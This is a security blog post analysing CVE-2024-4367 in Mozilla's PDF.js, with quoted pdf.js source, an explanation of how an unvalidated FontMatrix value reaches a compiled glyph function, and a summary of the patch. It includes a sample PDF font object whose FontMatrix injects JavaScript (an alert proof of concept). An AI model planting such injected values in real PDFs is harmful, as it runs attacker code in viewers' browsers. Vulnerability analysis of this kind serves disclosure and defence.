CVE-2024-4367 (PDF.js - Arbitrary JS Execution)

2024. 12. 2. 00:23·💻 Security

Vulnerable Product & Version

  • All FireFox Users ( < 126)
  • Services which use pdfjs-dist(<= 4.1.392) module in NPM (NodeJS)

Summary

  1. PDF.js acts as a viewer to show a preview of a pdf file, which is made by Mozila.
  2. It has the ability to render fonts and CVE-2024-4367 vulnerabilitiy targets this part.
  3. The user can set the values of the PDF file's properties, and pdf.js applies them by executing JavaScript code.
  4. However, there is no validation of the fontMatrix property value, which allows arbitrary JavaScript code to be executed.

Intro - Feature of Glyph rendering

The vulnerability occurs in ap specific part of the font rendering code. Fonts in PDFs can come in serveral different formats. For some font formats, PDF.js can’t rely on the browser’s built-in font rendering, so it has to manually create each glyph’s shape on the page. To make the performance better, PDF.js pre-compiles a a "path generator function". This process is executed by making a JS function object with a body(jsBuf).

// https://github.com/mozilla/pdfjs-dist/blob/master/build/pdf.js#L4919
// If we can, compile cmds into JS for MAXIMUM SPEED...
if (this.isEvalSupported && FeatureTest.isEvalSupported) {
  const jsBuf = [];
  for (const current of cmds) {
    const args = current.args !== undefined ? current.args.join(",") : "";
    jsBuf.push("c.", current.cmd, "(", args, ");\n");
  }
  // eslint-disable-next-line no-new-func
  console.log(jsBuf.join(""));
  return (this.compiledGlyphs[character] = new Function(
    "c",
    "size",
    jsBuf.join("")
  ));
}

It seems possible to control these cmds which is in Function body and insert attackers payload. If it can, we may execute payload when a glyph is rendered.

The logic of generating commands in Glyph rendering

We can find compileGlyph() method in CompiledFont class. This method initializes cmd array with some general commands(save, transform, scale and restore), then defers them to a compileGlyphImpl method.

  compileGlyph(code, glyphId) {
    if (!code || code.length === 0 || code[0] === 14) {
      return NOOP;
    }

    let fontMatrix = this.fontMatrix;
    ...

    const cmds = [
      { cmd: "save" },
      { cmd: "transform", args: fontMatrix.slice() },
      { cmd: "scale", args: ["size", "-size"] },
    ];
    this.compileGlyphImpl(code, cmds, glyphId);

    cmds.push({ cmd: "restore" });

    return cmds;
  }

If you look at the args of the transform command, you can see that fontMatrix.slice() is used, and since the default value of fontMatrix is [0.001, 0, 0, 0.001, 0, 0], the function that is created will look like this.

Function(c, size)
{
    c.save();
    c.transform(0.001,0,0,0.001,0,0); // <-- fontMatrix related part.
    c.scale(size,-size);
    c.moveTo(0,0);
    c.restore();
}

A user can replace default setting via defining a with new values like below. The point is, there is no validation logic in the part where a user specify the value of the Fontmatrix, so user can insert javascript code. (It looks similar to a command injection)

1 0 obj
<<
  /Type /Font
  /Subtype /Type1
  /FontDescriptor 2 0 R
  /BaseFont /FooBarFont
  /FontMatrix [1 2 3 4 5 (0\); alert\('foobar')]  // <-- Arbitrary Javascript code
>>
endobj

In this case, (0\\); alert\\('foobar') will be translated into 0); alert('foobar', and the Function will be created as follows.

c.save();
c.transform(1,2,3,4,5,0); alert('foobar');
c.scale(size,-size);
c.moveTo(0,0);
c.restore();

So finally, a user(or attacker) can trigger javascript code.

Mitigation

The patch for this vulnerability replaced commands such as transform and save, which were previously handled as strings, with enum values such as SAVE and TRANSFORM in FontRenderOps, as shown below, and also replaced cmds with the Commands class rather than an array of strings. In addition, the add method used to add commands checks if the argument's type is numeric to prevent JavaScript code from being injected.

저작자표시 비영리 변경금지 (새창열림)
'💻 Security' 카테고리의 다른 글
  • CVE-2023-27224 (NginxProxyManager)
  • Directory Traversal via ".tar" file
  • Apache OFBIZ Vulnerability (CVE-2023-49070)
  • [ CVE-2022-1582 ] Wordpress External Links in New Window Analysis
Cronus
Cronus
Offensive Security Researcher
  • Cronus
    Cronus
    Striving to be the best.
    • 분류 전체보기 (251)
      • AboutMe (1)
      • Portfolio (1)
        • Things (1)
      • Bug Report (1)
      • 🚩 CTF (23)
        • Former Doc (9)
        • 2023 (9)
      • 💻 Security (5)
      • 🖌️ Theory (22)
        • WEB (9)
        • PWN (13)
      • 📄 Project (6)
        • Edu_Siri (6)
      • Dreamhack (156)
        • WEB (95)
        • PWN (41)
        • Crypto (14)
        • ETC (6)
      • Wargame (22)
        • HackCTF (22)
      • Bug Bounty (1)
        • Hacking Zone (1)
      • Tips (7)
      • Development (2)
        • Machine Learning & Deep Lea.. (1)
      • Offensive Tools (1)
  • 블로그 메뉴

    • 홈
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    cache poisoning
    bug report
    pwntools
    Text Summarization
    cache
    Crypto
    justCTF
    GPNCTF
    TFCCTF2022
    TsukuCTF2022
    RCE
    Ubuntu 기초
    sqli
    Machine Learning
    bug hunter
    Remote Code Execution
    python
    Deep learning
    Ubuntu 기초 셋팅
    ubuntu 명령어
  • 최근 댓글

  • 최근 글

Cronus
CVE-2024-4367 (PDF.js - Arbitrary JS Execution)
상단으로

티스토리툴바